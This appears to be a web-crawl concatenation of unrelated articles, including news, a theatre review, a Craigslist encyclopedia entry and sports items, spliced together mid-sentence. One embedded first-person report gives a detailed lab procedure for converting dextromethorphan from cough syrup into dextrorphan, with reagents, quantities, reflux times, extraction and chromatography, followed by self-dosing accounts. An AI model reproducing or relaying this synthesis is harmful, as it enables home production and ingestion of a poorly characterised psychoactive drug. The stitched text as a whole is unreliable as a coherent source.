There was speculation whether Dr Barry had been born a hermaphrodite but a letter from his doctor, Major D. R. McKinnon, recalled a discussion with the woman who had tended to Dr Barry following death.
The letter stated: “She then said that she had examined the body, and was a perfect female and farther that there were marks of him having had a child when very young. I then enquired how have you formed that conclusion. The woman, pointing to the lower part of her stomach, said ‘from marks here. I am a maried [sic] woman and the mother of nine children and I ought to know.’
Scotsman Food & Drink: ideas, inspiration and guidesAmong the five displays approved for the Florida Capitol this holiday season will be one produced the Satanic Temple and Glenn Beck is not pleased, warning that “destruction is coming our way.”
Even though the Satanic Temple does not actually worship or even believe in a literal Satan, Beck’s co-host Pat Gray was particularly upset by the news, insisting that the Constitution does not guarantee Satanists the right to equal treatment.
“There’s nothing in the Constitution that says every religion is equal,” he said. “There just isn’t.”
“I have news for ya,” Beck chimed in, “destruction is coming our way.”
Gray then returned to his cogent legal argument as to why other religions are not entitled to equal treatment under the law by explaining that “when Satanists come to you and say ‘well, we want equal time,’ you tell them ‘tough, you’re not getting it!'”
And why don’t Satanists deserve equal time, according to Gray?
“Because you don’t deserve it” … unlike Christianity.
“Christianity has earned the right,” Beck added, “not in the Dark Ages, but in this country, they have earned the right to be at the table”:Amazon definitely wants enterprises to adopt its cloud, but it’s still wooing little startups too. This week, it said it will issue $1,000 in Amazon Web Services credit to any student who completes qualifying ed |
Hedge fund billionaire David Shaw has donated $2.25 million to Priorities USA Action, in addition to donating $2,700 to Clinton's campaign in April 2015, according to the Center for Responsive Politics. Shaw founded D.E. Shaw and Co., a hedge fund known for its quantitative modeling, after getting a PhD in computer science from Stanford.
Jon and Pat Stryker
Siblings Jon and Pat Stryker have each donated $1.5 million to Priorities USA Action. Pat Stryker donated $2,700 to Clinton's campaign in June 2015. The siblings inherited their fortunes from their grandfather Homer Stryker, who invested and patented medical devices and then founded Stryker Corporation. Today, Jon Stryker's Arcus Foundation supports two of his favorite causes, LGBTQ issues and the protection of apes. Pat Stryker owns Bohemian Companies, which includes venture capital activities and real estate development.
Steven Spielberg
Hollywood billionaire Steven Spielberg has donated $1 million to Priorities USA Action and $2,700 to Clinton's campaign, according to the Center for Responsive Politics. Spielberg has directed and produced a series of blockbuster hits, including 'E.T,' 'Jaws' and 'Jurassic World.'
Thomas Tull
Legendary Entertainment founder and CEO Thomas Tull's donations to Clinton’s campaign include $1 million donated to Priorities USA Action and $2,700 to Clinton's campaign, according to the Center for Responsive Politics. In January 2015, Tull made a deal with Chinese billionaire Wang Jianlin, whose company Dalian Wanda purchased Legendary Entertainment in a $3.5 billion deal. Tull currently has a fortune that Forbes estimates at $1.1 billion.
Alice Walton
Walmart heiress Alice Walton, a member of America’s richest family, donated $353,400 to the Clinton's joint fundraising committee, according to Bloomberg. She also donated $2,700 to Clinton's campaign, according to the Center for Responsive Politics. In 2013, Walton gave $25,000 to the Ready for Hillary super PAC, which is now known as Ready PAC. Clinton’s ties to Wal-Mart run deep; Clinton sat on Wal-Mart's board from 1986 to 1992.SOUTH PLAINFIELD – An employee killed Thursday during a work-related accident at Bushwick Metals appears to have been pinned between several steel beams and a tractor-trailer truck, police said Friday morning.
Robert Donohue, 65, of Glen Gardner was killed in the accident, which occurred about 2:30 p.m. in the facility at 1641 New Market Avenue, according to police.
A co-worker stated that he heard a loud bang when he noticed a stack of steel beams had fallen over, striking Donohue, police said.
Officials from the Occupational and Safety and Health Administration investigated the accident shortly after it occurred.
According to News12, the worker was described as an experienced employee who was very close to retirement.
Anyone with additional information is asked to call Detective Lloyd McNelly at 908-226-7660.
RELATED COVERAGE:
Report: Man killed in industrial accident in South Plainfield
Cops on scene of industrial accident in South PlainfieldI once read in a FAQ that DXM (dextromethorphan) is metabolized to DXO (dextrorphan) by removal of the phenolic methyl group, and that the psychoactivity of DXM may be influenced or enhanced by the presence of DXO formed from it.I have ingested DXM HBr in doses up to 960 mg (I weigh about 70 kg), but could identify the effects of doses as small as 60 mg. I synthesized and consumed DXO as a way to distinguish its effects alone from those of DXM. The synthesis and effects are described below. The psychological effects were subtle (almost imperceptible) and very disappointing, unlike the effects I would expect from comparable doses of DXM. The physical effects, on the other hand, were alarming, and my main motivation in providing this report is to spare others from experiencing them unprepared.The first main physical effect was intense overall itching, which others have reported with DXM but which I had never experienced at all over many DXM trips. This was entirely gone after a few hours, and isn't my main concern. The other effect was a sound like a low thudding or rushing which was present d uring the experience, but recurred with less and less frequency over the following months and years.It is now four years later and I haven't noticed the sound for a long time. I couldn't tell at the time if the sound was coming from outside of me or not, but it seemed to follow me and I concluded that the circulation in my head had been changed to become audible, perhaps by a change in blood pressure.These effects of DXO which didn't occur during DXM trips may be due to a higher peak level or a more rapidly increasing blood level of DXO. Unlike directly ingested DXO, the DXO formed in a DXM trip is slowly generated in the liver and is being disposed of meanwhile. There is always the possibility that the DXO wasn't pure enough, but it was pure by TLC analysis and if a mere trace of side product produced these effects then it is very toxic and makes DXO synthesis perilous.There have been other syntheses posted on the net. These have used citric or hydrochloric acid (HCl) and water to cleave the phenolic ether bond in DXM, but such a reaction won't work on this type of ether - check almost any college organic text. It isn't that HCl isn't a strong enough acid, but that a good nucleophile must also be present and chloride is a poor nucleophile. The nucleophile is what attaches to the unwanted methyl group and carries it away, leaving DXO behind. The reaction looks like this:M-O-Methyl(DXM, dissolved) + HX(dissolved) --> M-OH(DXO, dissolved) + X-Methyl(Gas)(Where M is most of the DXM molecule and X = bromide or iodide)Bromide is a good nucleophile and iodide is a very good nucleophile. Therefore hydrobromic acid (hydrogen bromide, HBr) or hydriodic acid (hydrogen iodide, HI) will work. The bromide or iodide can also come from a salt (like sodium bromide below) as long as a strong acid is also present. Why the authors report that their concoctions have different effects than DXM I can't explain. The third experience below took place in my bed during the night. I had anticipated effects similar to or milder than a moderately intense DXM trip, and so hadn't made any special preparations. As I recall the experience lasted 6-8 hours.Reflux (boil, returning the cooled, liquefied vapor back to the boiling liquid) one gram of DXM HCl (mp. 186-193 dec., isolated from cough syrup) in a mixture of concentrated hydrochloric acid (15 mL) and a saturated solution of sodium bromide dihydrate (5.13 g) for 22 hours. Cool, add water, extract (shake) with methylene chloride, discard the organic layer (on the bottom), and basify (make blue on litmus paper) the aqueous layer with potassium hydroxide. Extract the aqueous layer again with methylene chloride and discard the extract. (This removes non-phenols, such as unreacted DXM) Acidify (make red on litmus paper) the aqueous layer with HCl and make it neutral (between blue and red on litmus paper) with sodium bicarbonate. Extract with methylene chloride, dry (shake) the extract with sodium sulfate, and evaporate it.More effective is to reflux the DXM in 57% hydriodic acid for one hour, followed by the above work up. The product dissolved poorly in petroleum ether but fine in ethyl acetate.Elute DXO from a 2 cm wide by 9 cm tall column of activity I basic alumina using 50 mL methylene chloride, 50 mL of 1% methanol/methylene chloride, and 100 mL of 2% methanol/methylene chloride. (This purifies the DXO) Colorless product comes out just ahead of an orange band. mp 198.5-199.5 (corr.) Lit. (Merck) 198-199. The product weighs 1.10 g.50 mg DXO had little effect.Took 150 mg of DXO base as powder orally. Feel sudden itching in one hand - it goes away. Feel relaxed, receptive, clear headed. I notice that I'm patient, in contrast to my usual restlessness - very valuable demonstration. I want to be patient like that the rest of the time. Easy on the body, no fatigue later on.1.10 g - (.05 g first dose +.15 g second dose +.56 g remaining) =.34 g third dose12:30AM Took 340 mg of DXO base as powder orally. There was an alert after 45 minutes, and then over the next few hours an intense itching and mild flushing came over my hands, temples, groin, arms, feet, and legs in that order. It would have been much worse if I hadn't ignored it and laid still.Fortunately I managed to fall asleep. During this time there was also a deep droning which pulsated with my heart, and it would go away for short times. Psychologically I felt sedated but alert, and meditation was easier, and I was more patient, which made the very unpleasant itching tolerable. The itching wasn't painful but it lasted too long and wore down my patience.I felt peaceful but emotionally dead - the opposite of the harmala alkaloids. Dreams were a little more vivid and strange during the next four hours, and the itching was gone when I awoke but the droning remains as the only effect - along with warnings of a possible headache.My anal sphincter hurts too - no explanation. No headache. Felt energetic and peaceful for the first half of the day, then worn out the second half. The droning has come back every night for the last two weeks. It comes and fades away with no apparent pattern.KYODO NEWS - Jul 8, 2017 - 19:20 | World, All
A former martial arts star claimed victory Saturday over a career politician in Mongolia's presidential runoff election, as many voters are tired of the resource-dependent economy being mired in an extended slump.
Khaltmaa Battulga of the main opposition Democratic Part was quoted by local media as saying he will immediately work hard toward his pledge of overcoming the difficulties facing the country.
Battulga, a 54-year-old business tycoon and a former world champion in the Soviet combat sport Sambo, led the counting with 50.7 percent of the votes with about 87 percent counted so far, the General Election Commission said.
Miyegombo Enkhbold of the Mongolian People's Party had received 41 percent of the votes in the election seen as a referendum on the government's policy of implementing austerity measures as the country of 3 million, landlocked between China and Russia, struggles to pull its economy out of crisis.
Mongolia formerly enjoyed robust growth, with its gross domestic product growth peaking at 17.5 percent in 2011. But following a sharp fall in global commodity prices, it is now saddled with heavy debt and its economy grew only 1 percent last year.
The government has rolled out fiscal belt-tightening measures in exchange for securing earlier this year a $5.5 billion International Monetary Fund-led bailout package.
The winner of Mongolia's first ever runoff will succeed President Tsakhiagiin Elbegdorj of the Democratic Party, whose second and final four-year term in office ends this month.
Voter turnout for the runoff, which took place Friday, stood at 60.41 percent with about 1.2 million votes cast, the commission said, adding about 8.3 percent of the counted ballots were blank, a protest by some voters over the choice of candidates.
The commission said completion of the counting has been delayed as a flight carrying ballot papers from Europe is not expected to arrive in Ulan Bator until around midnight.
Battulga, a resource nationalist who has criticized the government's spending cuts and Mongolia's economic overdependence on China, garnered the most votes in the first round of the presidential election last week, but there was no definitive winner as no candidate secured the required majority.
Enkhbold finished a close second in the three-horse race on June 26, although his party won a sweeping victory in a parliamentary election about a year ago.
Enkhbold, the 52-year-old chief of the ruling party, parliament speaker and former prime minister, was tipped as the frontrunner before the election. But he struggled to connect with voters as allegations of corrupt land reforms during his time as mayor of Ulan Bator, the capital city, hung over the campaign's final weeks.Archbishop Nona tells AsiaNews, an entire "generation is in danger of not being educated". The schools turned into shelters, cannot accommodate lessons. The Church is racing against the clock to find housing, but only a fraction of the institutions will be able to resume activities. In the city and Nineveh plain population is increasingly hostile to the Islamist militias, 98% want "their expulsion."
Ankawa (AsiaNews) - For the first time in history, Iraqi Christians who always had a "high standard of education" in the region, are being deprived of the right to study and cannot attend schools. This represents a further threat to the survival of the minority, not only in Iraq but throughout the Middle East, because there is not the risk that an entire generation "will not be educated", which is a "very bad sign". The warning comes from Msgr. Shimoun Emil Nona, Chaldean Archbishop of Mosul, in the north, the second most important city in the country and first city to fall into the hands of the militia of the Islamic State.
Interviewed by AsiaNews, the prelate confirms that "currently children from many of the refugee families" as well as "children who live in Christian areas" cannot start the school year. "There are about 700 schools scattered between Erbil, Ankawa and Zakkho - he explains - but they are hosting displaced people and are full. In other non-Christian areas the lessons have begun, but not here". Moreover in the areas occupied by the Islamic Caliphate the curriculum has been changed to promote Islam and the Koran.
Msgr. Nona was the first to raise the alarm of the danger posed by the advance of the Islamists after the conquest of Mosul, where about 500 thousand people - Muslims and Christians - fled in early June to avoid being forced to convert to Islam. It was also where the militants founded their caliphate and imposed sharia. In cities and in areas on the Nineveh plain that are under the control of the Islamic State schools have reopened. However, under the instruction of their leader the curriculum has changed to ban history, geography and literature; students must study Arabic and the Muslim religion and are forbidden to speak of the Republic of Iraq or Syria, only of the Caliphate.
An Mosul elementary school teacher of mathematics and Arabic states that "we are in 2014, but it seems have regressed 14 centuries." 95% of the 2,450 schools in the area - Mosul and Nineveh Plain - are in the hands of the Islamists, who have forbidden mixed classes and have closed the Faculty of Law, because "conventional law is no longer in force." Rigid rules, imposed by force, are increasingly arousing the impatience of the local population. If at first people saw them as liberators from a central government (under former Shiite Prime Minister al-Maliki) regarded as the oppressor, today 98% of the people - as reported by an academic in Mosul - "would like to see them gone as soon as possible".
The archbishop of Mosul, who is also a refugee Ankawa, in Iraqi Kurdistan, cannot confirm this radical change of attitude towards the Islamic state and the distortion of the curriculum at the hands of the militia. He admits however, to "having heard similar rumors", and there is a good chance that "they are true." There are still some Christians in the city, but "very few" who live "isolated" and "in danger" because "anything could happen to them".
Msgr. Nona asks us to pray for a situation "which is growing more dramatic with every passing day" especially with the arrival of winter. This interruption in the schooling of young Christians is a serious problem, because it halts the development of an entire generation of Iraqi Christians, who in the past have always been distinguished for their cultural level and standard of schooling. "It is very negative" says the bishop, and "very dangerous".
In the history of community, education has always been an "important anchor for us," says the Archbishop of Mosul, and as a Church "we are trying to rent as many homes as possible" to free schools and allow the resumption of classes. However, the operation is "very slow, because it is not always possible to find homes or housing is unavailable." Concluding, the prelate says however that there are some small signs of hope, "we rented a building with 56 apartments - he says - that can accommodate all the families who, at this time, are housed in a school in Ankawa". Only one out of 11, he adds, while the goal is "free up at least two or three more." (DS)The sad souls in Melissa James Gibson’s new play, “What Rhymes With America,” wear their dissatisfaction in different styles. For the divorced dad trying to strengthen his bond with his teenage daughter, it’s like a drab overcoat he cannot manage to shrug off. For the 40-something virgin whose father has just died, shrouding herself in singlehood has almost become a comfort, like a big puffy coat. The would-be actress stuck working as an extra in an opera puts on a braver front: wielding her anger as a Valkyrie does her armor.
Those are, as it happens, among the costumes worn by the characters in this touching, sorrowful comedy, which opened Wednesday night at the Atlantic Theater Company’s Linda Gross Theater in a production directed by Daniel Aukin. But what the characters wear is much less important than what they say and how they say it. Language may sow more confusion than connection in the distinctive worlds conjured by Ms. Gibson, author of the terrific comedy-drama “This,” but it’s about all her wandering souls have left to cling to.
Although she deploys words with an entrancing oddity, Ms. Gibson clearly shares her characters’ anxiety about their seeming inadequacy. Sometimes they come tumbling forth in rippling streams; sometimes they falter and stick, and have to be yanked out with no rhythm or rhyme. All too rarely do they succeed in bringing people together, or even keeping them from growing apart.
In the opening scene the unhappy father, Hank (Chris Bauer), cannot even manage to persuade his 16-year-old daughter, Marlene (Aimee Carrero), to open the front door to say hello. An economist who lost his research grants, Hank tried to make up the difference with his wife’s money — hence her insistence that Marlene keep clear of her father. But Marlene is willing to bend the rules. As Hank tries to keep up a steady stream of father-daughter chitchat, she sits just inside the door listening as he stands outside. (The piteousness of their intimate distance is enhanced by the absence of an actual door, in the simple set design of Laura Jellinek.)
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Foiled in his attempts to set eyes on Marlene at home, Hank stops by the hospital where she has been volunteering (actually working, although she doesn’t confess as much to her father). Here he meets Lydia (Seana Kofoed), an unsuccessful short-story writer who makes a living writing for a medical journal (until she got fired, that is: money is as scarce as words are plentiful in the play).Craigslist (stylized as craigslist) is an American classified advertisements website with sections devoted to jobs, housing, for sale, items wanted, services, community, gigs, résumés, and discussion forums.
Craig Newmark began the service in 1995 as an email distribution list to friends, featuring local events in the San Francisco Bay Area. It became a web-based service in 1996 and expanded into other classified categories. It started expanding to other U.S. cities in 2000, and now covers 70 countries.
In March 2008, Spanish, French, Italian, German, and Portuguese became the first non-English languages Craigslist supported.[5] As of August 9, 2012, over 700 cities and areas in 70 countries had Craigslist sites.[6] Some Craigslist sites cover large regions instead of individual metropolitan areas—for example, the U.S. states of Delaware and Wyoming, the Colorado Western Slope, the California Gold Country, and the Upper Peninsula of Michigan are among the locations with their own Craigslist sites.[7]
History [ edit ]
Having observed people helping one another in friendly, social, and trusting communal ways on the Internet via the WELL, MindVox and Usenet, and feeling isolated as a relative newcomer to San Francisco, Craigslist founder Craig Newmark decided to create something similar for local events.[8][9] In early 1995, he began an email distribution list to friends. Most of the early postings were submitted by Newmark and were notices of social events of interest to software and Internet developers living and working in the San Francisco Bay Area.
Soon, word of mouth led to rapid growth. The number of subscribers and postings grew rapidly. There was no moderation and Newmark was surprised when people started using the mailing list for non-event postings.[10] People trying to get technical positions filled found that the list was a good way to reach people with the skills they were looking for. This led to the addition of a jobs category. User demand for more categories caused the list of categories to grow. The initial technology encountered some limits, so by June 1995 Majordomo had been installed and the mailing list "Craigslist" resumed operations. Community members started asking for a web interface. Newmark registered "craigslist.org", and the website went live in 1996.[10]
In the fall of 1998, the name "List Foundation" was introduced and Craigslist started transitioning to the use of this name. In April 1999, when Newmark learned of other organizations called "List Foundation", the use of this name was dropped. Craigslist incorporated as a private for-profit company in 1999.[8] Around the time of these events, Newmark realized the site was growing so fast that he could stop working as a software engineer and devote his full attention to running Craigslist. By April 2000, there were nine employees working out of Newmark's San Francisco apartment.[11]
In January 2000, current CEO Jim Buckmaster joined the company as lead programmer and CTO. Buckmaster contributed the site's multi-city architecture, search engine, discussion forums, flagging system, self-posting process, homepage design, personals categories, and best-of-Craigslist feature. He was promoted to CEO in November 2000.[12]
The website expanded into nine more U.S. cities in 2000, four in 2001 and 2002 each, and 14 in 2003. On August 1, 2004, Craigslist began charging $25 to post job openings on the New York and Los Angeles pages. On the same day, a new section called "Gigs" was added, where low-cost and unpaid jobs can be posted free.
Operations [ edit ]
Craigslist headquarters in the Inner Sunset District of San Francisco prior to 2010
The site serves more than 20 billion[13] page views per month, putting it in 72nd place overall among websites worldwide and 11th place overall among websites in the United States (per Alexa.com on June 28, 2016), with more than 49.4 million unique monthly visitors in the United States alone (per Compete.com on January 8, 2010). With more than 80 million new classified advertisements each month, Craigslist is the leading classifieds service in any medium. The site receives more than 2 million new job listings each month, making it one of the top job boards in the world.[14][15] Craigslist also dominates the U.S. rental housing market, with millions of new listings every month.[16] The 23 largest U.S. cities listed on the Craigslist home page collectively receive more than 300,000 postings per day just in the "for sale" and "housing" sections as of October 2011.[17] The classified advertisements range from traditional buy/sell ads and community announcements to personal ads.
In 2009, Craigslist operated with a staff of 28 people.[18]
Financials and ownership [ edit ]
In December 2006, at the UBS Global Media Conference in New York, Craigslist CEO Jim Buckmaster told Wall Street analysts that Craigslist had little interest in maximizing profit, and instead preferred to help users find cars, apartments, jobs and dates.[19][20]
Craigslist's main source of revenue is paid job ads in select American cities. The company does not formally disclose financial or ownership information. Analysts and commentators have reported varying figures for its annual revenue, ranging from $10 million in 2004, $20 million in 2005, and $25 million in 2006 to possibly $150 million in 2007.[21][22][23]
On August 13, 2004, Newmark announced on his blog that auction giant eBay had purchased a 25% stake in the company from a former employee.[24] Some fans of Craigslist expressed concern that this development would affect the site's longtime non-commercial nature. As of April 2012, there have been no substantive changes to the usefulness, or the non-advertising nature of the site; neither banner ads, nor charges for a few services provided to businesses.
The company was believed to be owned principally by Newmark, Buckmaster and eBay (the three board members). eBay owned approximately 25%, and Newmark is believed to own the largest stake.[7][23][25]
In April 2008, eBay announced it was suing Craigslist to "safeguard its four-year financial investment". eBay claimed that in January 2008, Craigslist executives took actions that "unfairly diluted eBay's economic interest by more than 10%".[26] Craigslist filed a counter-suit in May 2008 to "remedy the substantial and ongoing harm to fair competition" that Craigslist claimed was constituted by eBay's actions as Craigslist shareholders; the company claimed that it had used its minority stake to gain access to confidential information, which it then used as part of its competing service Kijiji.[27][28]
On June 19, 2015, eBay Inc. announced that it would divest its stake back to Craigslist for an undisclosed amount, and settle its litigation with the company. The move came shortly before eBay's planned spin-off of PayPal, and an effort to divest other units to focus on its core business.[27]
The Swedish luxury marketplace website Jameslist.com received a lawsuit filed on July 11, 2012[29] which among unspecified damages also asked for a complete shutdown of Jameslist.com [30] As a consequence, the young company was forced to rename to JamesEdition.
Content policies [ edit ]
As of 2012, mashup sites such as padmapper.com and housingmaps.com were overlaying Craigslist data with Google Maps and adding their own search filters to improve usability. In June 2012, Craigslist changed its terms of service to disallow the practice. In July 2012, Craigslist filed a lawsuit against padmapper.com.[31] Following the shutdown of Padmapper.com, some users complained that the service was useful to them and therefore should have remained intact.[32]
Site characteristics [ edit ]
Personals [ edit ]
Over the years Craigslist has become a very popular online destination for arranging for dates and sex.[33][34][35][36][37] The personals section allows for postings that are for "strictly platonic", "dating/romance", and "casual encounters".[33][34][36][37]
The site is considered particularly useful by lesbians and gay men seeking to make connections, because of the service's free and open nature and because of the difficulty of otherwise finding each other in more conservative areas.[38]
In 2005, San Francisco Craigslist's men seeking men section was attributed to facilitating sexual encounters and was the second most common correlation to syphilis infections.[38] The company has been pressured by San Francisco Department of Public Health officials, prompting Jim Buckmaster to state that the site has a very small staff and that the public "must police themselves".[38] The site has, however, added links to San Francisco City Clinic and STD forums.[38]
On March 22, 2018, Craigslist discontinued its "Personals" section in the United States in response to the passing of the Stop Enabling Sex Traffickers Act (SESTA), which removes Section 230 safe harbours for interactive services knowingly involved in illegal sex trafficking. The service stated that "US Congress just passed HR 1865, 'FOSTA', seeking to subject websites to criminal and civil liability when third parties (users) misuse online personals unlawfully. Any tool or service can be misused. We can’t take such risk without jeopardizing all our other services, so we are regretfully taking craigslist personals offline. To the millions of spouses, partners, and couples who met through craigslist, we wish you every happiness!"[39]
Adult services controversy [ edit ]
Adult Services Craigslist website as it appeared on September 4, 2010, with black censored box in place of
Advertisements for "adult" (previously "erotic") services were initially given special treatment, then closed entirely on September 4, 2010, following a controversy over claims by state attorneys general that the advertisements promoted prostitution.[40][41]
In 2002, a disclaimer was put on the "men seeking men", "casual encounters", "erotic services", and "rants and raves" boards to ensure that those who clicked on these sections were over the age of 18, but no disclaimer was put on the "men seeking women", "women seeking men" or "women seeking women" boards. As a response to charges of discrimination and negative stereotyping, Buckmaster explained that the company's policy is a response to user feedback requesting the warning on the more sexually explicit sections, including "men seeking men".[42] Today, all of the above listed boards (as well as some others) have a disclaimer.
On May 13, 2009, Craigslist announced that it would close the erotic services section, replacing it with an adult services section to be reviewed by Craigslist employees. This decision came after allegations by several U.S. states that the erotic services ads were being used for prostitution.[43]
On September 4, 2010, Craigslist closed the adult services section of its website in the United States. The site initially replaced the adult services page link with the word "censored" in white-on-black text. The site received criticism and complaints from attorneys general that the section's ads were facilitating prostitution and child sex trafficking.[44][45]
The adult services section link was still active in countries outside of the U.S.[46] Matt Zimmerman, senior staff attorney for the Electronic Frontier Foundation, said, "Craigslist isn't legally culpable for these posts, but the public pressure has increased and Craigslist is a small company." Brian Carver, attorney and assistant professor at UC Berkeley, said that legal threats could have a chilling effect on online expression. "If you impose liability on Craigslist, YouTube and Facebook for anything their users do, then they're not going to take chances. It would likely result in the takedown of what might otherwise be perfectly legitimate free expression."[47]
On September 8, 2010, the "censored" label and its dead link to adult services were completely removed.[48][49]
Craigslist announced on September 15, 2011, that it had closed its adult services in the United States, however, it defended its right to carry such ads. Free speech and some sex crime victim advocates criticized the removal of the section, saying that it threatened free speech and that it diminished law enforcement's ability to track criminals. However, the removal was applauded by many state attorneys general and some other groups fighting sex crimes. Craigslist said that there is some indication that those who posted ads in the adult services section are posting elsewhere. Sex ads had cost $10 initially and it was estimated they would have brought in $44 million in 2010 had they continued.[50][51] In the four months following the closure, monthly revenue from sex ads on six other sites (primarily Backpage) increased from $2.1 to $3.1 million, partly due to price increases.[52]
The company makes efforts to fight prostitution and sex trafficking, and in 2015, Craig Newmark received an award from the FBI for cooperation with law enforcement to fight human trafficking. [53][54][55][56][57]
On December 19, 2010, after pressure from Ottawa and several provinces, Craigslist closed 'Erotic Services' and 'Adult Gigs' from its Canadian website, even though prostitution was not itself illegal in Canada at the time.[58]
Following the FOSTA bill passed on April 11, 2018, Craigslist ceased offering its "Personals" section within all US domains, stating "Any tool or service can be misused. We can’t take such risk without jeopardizing all our other services."[59][60]
Flagging [ edit ]
Craigslist has a user flagging system to quickly identify illegal and inappropriate postings. Users may flag postings they believe to be in violation of Craigslist guidelines. Flagging does not require account login or registration, and can be done anonymously by anyone.[61] Postings are subject to automated removal when a certain number of users flag them. The number of flags required for a posting's removal is dynamically variable and remains unknown to all but Craigslist staff.[61] Some users allege that flagging may also occur as acts of vandalism by groups of individuals at different ISPs, but Craigslist denies any evidence of this has ever been produced. Flagging can also alert Craigslist staff to blocks of ads requiring manual oversight or removal.[61]
Bartering [ edit ]
Craigslist includes a barter option in its "for sale" section. This growing trade economy has been documented on the television program Barter Kings and the blog One red paperclip.[62][63]
Criticism [ edit ]
In July 2005, the San Francisco Chronicle criticized Craigslist for allowing ads from dog breeders, stating that this could encourage the over-breeding and irresponsible selling of pit bulls in the Bay Area.[64] According to Craigslist's terms of service, the sale of pets is prohibited, though re-homing with small adoption fees is acceptable.[65]
In January 2006, the San Francisco Bay Guardian published an editorial claiming that Craigslist could threaten the business of local alternative newspapers.[66]
L. Gordon Crovitz, writing for The Wall Street Journal, criticized the company for using lawsuits "to prevent anyone from doing to it what it did to newspapers", contrary to the spirit of the website, which bills itself in a "noncommercial nature, public service mission, and noncorporate culture".[67] This article was a reaction to lawsuits from Craigslist to prevent competition. The Swedish luxury marketplace website Jameslist.com received a hefty lawsuit filed on July 11, 2012[68] which among unspecified damages also asked for a complete shutdown of Jameslist.com [69] As a consequence, the young company was forced to rename to JamesEdition.
In 2012, Craigslist sued PadMapper, a site that hoped to improve the user interface for browsing housing ads, and 3Taps, a company that helped PadMapper obtain data from Craigslist, in Craigslist v. 3Taps. This led users to criticize Craigslist for trying to shut down a service that was useful to them.[32]
Nonprofit foundation [ edit ]
In 2001, the company started the Craigslist Foundation,[70] a § 501(c)(3) nonprofit organization that offers free and low-cost events and online resources to promote community building at all levels. It accepts charitable donations, and rather than directly funding organizations, it produces "face-to-face events and offers online resources to help grassroots organizations get off the ground and contribute real value to the community".
Since 2004, the Craigslist Foundation has hosted eight annual conferences called Boot Camp, an in-person event that focuses on skills for connecting, motivating and inspiring greater community involvement and impact.
The Craigslist Foundation is also the fiscal sponsor for Our Good Works, the organization that manages AllforGood.org, an application that distributes volunteer opportunities across the web and helps people get involved in their communities.[71]
As of summer 2013, the Craigslist Foundation's functions are mostly moved to LikeMinded.org and the CraigsListFoundation.org is no longer updated.
In popular culture [ edit ]
Films [ edit ]
Television [ edit ]
The American comedy series Bored to Death revolves around a fictional Jonathan Ames (played by Jason Schwartzman) who posts an ad on Craigslist advertising himself as an unlicensed private detective.
revolves around a fictional Jonathan Ames (played by Jason Schwartzman) who posts an ad on Craigslist advertising himself as an unlicensed private detective. The premise of the sitcom New Girl centers around a girl (Zooey Deschanel) who looks on Craigslist to find new roommates. She misunderstands one of the listings and ends up moving in with three men, when she had intended to find female roommates.
Theatre [ edit ]
In November 2007, Ryan J. Davis directed Jeffery Self's solo show My Life on the Craigslist at Off-Broadway's New World Stages.[75] The show focuses on a young man's sexual experiences on Craigslist and was so successful that it returned to New York by popular demand in February 2008.[76]
Video games [ edit ]
2008's Grand Theft Auto IV features a parody of Craigslist called 'Craplist', which can be accessed by the player through the game's in-game internet feature. The player can browse the site and view numerous satirical adverts.
Songs [ edit ]
In June 2009, "Weird Al" Yankovic released a song entitled "Craigslist", which parodied the types of ads one might see on the site. The song was a style parody of The Doors and featured Doors member Ray Manzarek on the keyboards.
In 2006, composer Gabriel Kahane released an album of his satirical art songs for voice and piano, entitled "Craigslistlieder," using excerpts from real Craigslist ads as text.[77]
Media [ edit ]
C |
play on that, they can pay them half their salary, but the issue is that there are families back in Fiji or Tonga or Samoa who are waiting for that money to buy food”
While the streets of France may prove paved with gold for a privileged few due to their mastery of the oval ball, those that fail to make it to the Rue d’Or that is the Top 14 often buckle due to their financial commitments thousands of miles away.
“In the Top 14, they have a lot more protection,” Jackman explained.
“But when you go down to Fédérale 1, Fédérale 2 - domestic leagues in France where they mightn’t be fully professional but there are contracts - those players are always on a borderline as to whether they’re going to get paid next month.
“Clubs can play on that, they can pay them half their salary, but the issue is that there are families back in Fiji or Tonga or Samoa who are waiting for that money to buy food.”
The burden can prove too much for even the broadest of shoulders and Jackman believes the judiciary has provided these beleaguered players with scant help.
“French law is unbelievably slow,” the 40-year-old lamented.
“If you were to take a court case against the club - and a lot of foreigners in the past have tried to - they just kick it to touch for so long.
“It can take you three or four years.
“Most players don’t have the mental fortitude or the financial power to actually stick with that process.
“Clubs know, at a lower level, they can treat a foreigner pretty badly and know that probably down the road there won’t be any repercussions for them because another Fijian or Samoan or Tongan will be desperate for an opportunity, and will hope that it won’t happen to them."TONY Mowbray has agreed to stay on as Blackburn Rovers head coach after productive talks with Venky’s in India.
The 53-year-old revealed after relegation on the final day at Brentford on May 7 that he would travel to India to seek assurances before committing his future to the club.
And Rovers have now confirmed that the 53-year-old has agreed to stay on at the club ahead of their League One campaign in 2016/17.
He said: “I’m very happy with the discussions that I have had.
“I’ve met the owners, I’ve met the people that I am working for, and I am very happy to move forward.
“Whilst we were all disappointed with the end of last season I see it as an opportunity to now move the club in the right direction and grasp this opportunity whilst it is there for us.
“The owners were supportive of my ideas and plans, and they have assured me of their financial commitment to help achieve our targets. It was all very positive.”
Mowbray replaced Coyle in February, leading Rovers to 22 points from his 15 games in charge, which saw just three defeats. But that wasn’t enough to keep the club in the Championship as they were relegated to League One on goal difference despite a final day win at Brentford.
He has previous experience of managing in League One, leading Coventry to eighth place in 2015/16, five points off the play-offs, despite being in the top six for much of the first five months of the season.
Mowbray left Coventry in September of the following season, before taking over the Ewood reins in February.With an eye on October’s municipal elections in the Palestinian territories, the Hamas terror group has produced a slick video showing a supposedly prosperous Gaza Strip under its rule, featuring smiling people holding up signs with the hashtag “Thank you Hamas.”
Included in the video is an image of a metallic fist statue perched atop what appears to be an IDF armored vehicle. The fist clutches a replica of fallen soldier Oron Shaul’s dog tags. The tags bear Shaul’s army number — 6092065.
Shaul was killed in action during the 2014 Gaza war, and Hamas initially claimed it had captured him alive. He was subsequently pronounced dead by the IDF and Hamas has refused to return his body.
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Gaza is widely reported to be a poverty-stricken territory constantly teetering on the verge of collapse. But the video paints a completely different picture, as the organization seeks to show Palestinians — in the West Bank as well as Gaza — its achievements since seizing power in the enclave in 2007.
The video makes no mention of neighborhoods and homes destroyed in the 2014 war. Instead it shows life in Gaza to be almost idyllic, as it cuts between breathtaking views of beaches, parks, stores, municipal buildings and mosques. Smiling, seemingly happy people wave to the camera, living in what appears to be an oasis of green.
It also highlights functioning law enforcement, children on roller-blades, high-rise buildings and a vibrant nightlife. University graduates, football teams, ambulance staff, fishermen and families, meanwhile, all pledge their support for Hamas.
